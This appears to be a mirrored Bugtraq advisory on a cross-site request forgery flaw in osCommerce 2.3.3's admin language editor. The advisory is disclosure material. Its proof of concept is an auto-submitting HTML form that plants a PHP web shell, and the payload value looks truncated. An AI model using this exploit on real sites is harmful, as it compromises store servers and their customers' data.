osCommerce Cross Site Request Forgery Vulnerability

BID:57892

Info

osCommerce Cross Site Request Forgery Vulnerability

Bugtraq ID: 57892
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Feb 12 2013 12:00AM
Updated: Feb 12 2013 12:00AM
Credit: Jakub Galczyk
Vulnerable:
Not Vulnerable:

Discussion

osCommerce Cross Site Request Forgery Vulnerability

osCommerce is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.

osCommerce 2.3.3 is vulnerable; other versions may also be affected.

Exploit / POC

osCommerce Cross Site Request Forgery Vulnerability

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following example data is available:

<html><body onload="document.runCSRF.submit();">
<form method="post" name="runCSRF"
action="http://www.example.com/catalog/admin/define_language.php?lngdir=english&filename=english/download.php&action=save">
<input type="hidden" name="file_contents"
value="<?php $cmd">
</form>your shell should be here:
catalog/includes/languages/english/download.php?cmd=id<br></body></html>

References

osCommerce Cross Site Request Forgery Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report